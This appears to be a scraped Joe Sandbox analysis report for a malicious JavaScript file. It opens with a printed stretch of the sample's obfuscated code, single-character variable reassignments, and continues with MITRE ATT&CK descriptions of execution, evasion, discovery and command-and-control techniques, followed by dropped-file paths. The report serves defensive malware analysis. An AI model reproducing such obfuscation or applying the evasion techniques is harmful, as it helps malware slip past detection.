225	ovazbwtot = "L";
226	ovazbwtot = "k";
227	ovazbwtot = "I";
228	ovazbwtot = "E";
229	ovazbwtot = "f";
230	wmpejk = "n";
231	wmpejk = "W";
232	wmpejk = "X";
233	wmpejk = "f";
234	wmpejk = "T";
235	wmpejk = "u";
236	wmpejk = "z";
237	wmpejk = "A";
238	wmpejk = "n";
239	iwupdki = "a";
240	iwupdki = "S";
241	iwupdki = "R";
242	iwupdki = "K";
243	iwupdki = "d";
244	iwupdki = "c";
245	iwupdki = "Q";
246	iwupdki = "h";
247	xkxlyn = "V";
248	xkxlyn = "F";
249	xkxlyn = "a";
250	xkxlyn = "q";
251	xkxlyn = "Z";
252	xkxlyn = "C";
253	xkxlyn = "r";
254	bonijqyw = "M";
255	bonijqyw = "E";
256	bonijqyw = "G";
257	bonijqyw = "S";
258	bonijqyw = "B";
259	bonijqyw = "Y";
260	bonijqyw = "g";
261	bonijqyw = "_";
262	tszdu = "M";
263	tszdu = "D";
264	tszdu = "s";
265	tszdu = "V";
266	tszdu = "y";
267	tszdu = "K";
268	tszdu = "W";
269	tszdu = "X";
270	tszdu = "1";
271	oqham = "o";
272	oqham = "S";
273	oqham = "d";
274	oqham = "L";
275	oqham = "q";
276	oqham = "D";
277	oqham = "s";
278	oqham = "T";
279	oqham = "j";
280	xkjykb = "g";
281	xkjykb = "z";
282	xkjykb = "y";
283	xkjykb = "L";
284	xkjykb = "b";
285	xkjykb = "C";
286	duhmow = "R";
287	duhmow = "q";
288	duhmow = "v";
289	duhmow = "I";
290	duhmow = "F";
291	duhmow = "z";
292	duhmow = "D";
293	duhmow = "y";
294	duhmow = "Y";
295	rguwdioue = "i";
296	rguwdioue = "Y";
297	rguwdioue = "o";
298	rguwdioue = "s";
299	rguwdioue = "m";
300	rguwdioue = "a";
301	rguwdioue = "l";
302	rguwdioue = "r";
303	rguwdioue = "R";
304	nxzouq = "N";
305	nxzouq = "G";
306	nxzouq = "Q";
307	nxzouq = "U";
308	nxzouq = "F";
309	nxzouq = "s";
310	nxzouq = "i";
311	uqpcwx = "L";
312	uqpcwx = "r";
313	uqpcwx = "S";
314	uqpcwx = "z";
315	uqpcwx = "f";
316	uqpcwx = "o";
317	uqpcwx = "f";
318	uqpcwx = "Z";
319	uqpcwx = "u";
320	uqpcwx = "w";
321	zpitkc = "M";
322	zpitkc = "T";
323	zpitkc = "e";
324	zpitkc = "z";
325	zpitkc = "r";
326	zpitkc = "B";
327	zpitkc = "y";
328	zpitkc = "H";
329	zpitkc = "u";
330	qmudi = "L";
331	qmudi = "x";
332	qmudi = "v";
333	qmudi = "S";
334	qmudi = "h";
335	qmudi = "Q";
336	qmudi = "z";
337	qmudi = "g";
338	jrhye = "C";
339	jrhye = "P";
340	jrhye = "e";
341	jrhye = "J";
342	jrhye = "u";
343	jrhye = "p";
344	jrhye = "y";
345	jrhye = "F";
346	jrhye = "J";
347	jrhye = "m";
348	jpudnxyb = "x";
349	jpudnxyb = "j";
350	jpudnxyb = "T";
351	jpudnxyb = "X";
352	jpudnxyb = "U";
353	jpudnxyb = "U";
354	jpudnxyb = "\"";
355	ujutrf = "E";
356	ujutrf = "Z";
357	ujutrf = "L";
358	ujutrf = "t";
359	ujutrf = "T";
360	ujutrf = "a";
361	ujutrf = "Z";
362	ujutrf = "k";
363	rrhvh = "K";
364	rrhvh = "n";
365	rrhvh = "g";
366	rrhvh = "V";
367	rrhvh = "C";
368	rrhvh = "D";
369	rrhvh = "i";
370	rrhvh = "z";
371	rrhvh = "W";
372	rqhvna = "C";
373	rqhvna = "z";
374	rqhvna = "N";
375	rqhvna = "X";
376	rqhvna = "f";
377	rqhvna = "q";
378	rqhvna = "L";
379	rqhvna = "q";
380	rqhvna = "K";
381	rqhvna = "l";
382	ddcbbkfey = "H";
383	ddcbbkfey = "I";
384	ddcbbkfey = "D";
385	ddcbbkfey = "m";
386	ddcbbkfey = "o";
387	ddcbbkfey = "I";
388	vdiplbbvi = "o";
389	vdiplbbvi = "s";
390	vdiplbbvi = "U";
391	vdiplbbvi = "M";
392	vdiplbbvi = "g";
393	vdiplbbvi = "o";
394	vdiplbbvi = "X";
395	vdiplbbvi = "R";
396	vdiplbbvi = "S";
397	vdiplbbvi = "P";
398	eomwo = "w";
399	eomwo = "f";
400	eomwo = "i";
401	eomwo = "k";
402	eomwo = "D";
403	eomwo = "a";
404	eomwo = "u";
405	eomwo = "T";
406	ogfmxg = "v";
407	ogfmxg = "M";
408	ogfmxg = "C";
409	ogfmxg = "S";
410	ogfmxg = "F";
411	ogfmxg = "t";
412	ogfmxg = "O";
413	ogfmxg = "p";
414	ogfmxg = "c";
415	pavko = "l";
416	pavko = "a";
417	pavko = "K";
418	pavko = "Z";
419	pavko = "Y";
420	pavko = "u";
421	pavko = "u";
422	pavko = "x";
423	nhagofgi = "L";
424	nhagofgi = "p";
425	nhagofgi = "n";
426	nhagofgi = "K";
427	nhagofgi = "f";
428	nhagofgi = "V";
429	nhagofgi = "S";
430	nhagofgi = "d";
431	glhobjmf = "z";
432	glhobjmf = "P";
433	glhobjmf = "u";
434	glhobjmf = "b";
435	glhobjmf = "a";
436	glhobjmf = "c";
437	glhobjmf = "l";
438	glhobjmf = "b";
439	dsceon = "u";
440	dsceon = "A";
441	dsceon = "e";
442	dsceon = "E";
443	dsceon = "v";
444	dsceon = "K";
445	dsceon = "H";
446	dsceon = "z";
447	dsceon = "F";
448	afabvwma = "A";
449	afabvwma = "l";
450	afabvwma = "e";
451	afabvwma = "z";
452	afabvwma = "x";
453	afabvwma = "f";
454	afabvwma = "V";
455	afabvwma = "t";
456	afabvwma = ":";
457	fzlqktg = "R";
458	fzlqktg = "L";
459	fzlqktg = "W";
460	fzlqktg = "n";
461	fzlqktg = "X";
462	fzlqktg = "I";
463	fzlqktg = "R";
464	fzlqktg = "\\";
465	tlswj = "o";
466	tlswj = "a";
467	tlswj = "n";
468	tlswj = "G";
469	tlswj = "B";
470	tlswj = "v";
471	tlswj = "d";
472	tlswj = "v";
473	tlswj = "P";
474	tlswj = "9";
475	qcoimre = "d";
476	qcoimre = "D";
477	qcoimre = "s";
478	qcoimre = "m";
479	qcoimre = "P";
480	qcoimre = "j";
481	qcoimre = "p";
482	qcoimre = "N";
483	tkafevo = "t";
484	tkafevo = "C";
485	tkafevo = "U";
486	tkafevo = "c";
487	tkafevo = "O";
488	tkafevo = "W";
489	tkafevo = "G";
490	tkafevo = "2";
491	mzsfo = "y";
492	mzsfo = "s";
493	mzsfo = "o";
494	mzsfo = "V";
495	mzsfo = "A";
496	mzsfo = "Q";
497	mzsfo = "t";
498	gxilygcv ( );	gxilygcv() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 106714464113327088.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\9d595bd0-9e81-4468-8899-a218468d2247.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6252

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Windows Analysis Report
106714464113327088.js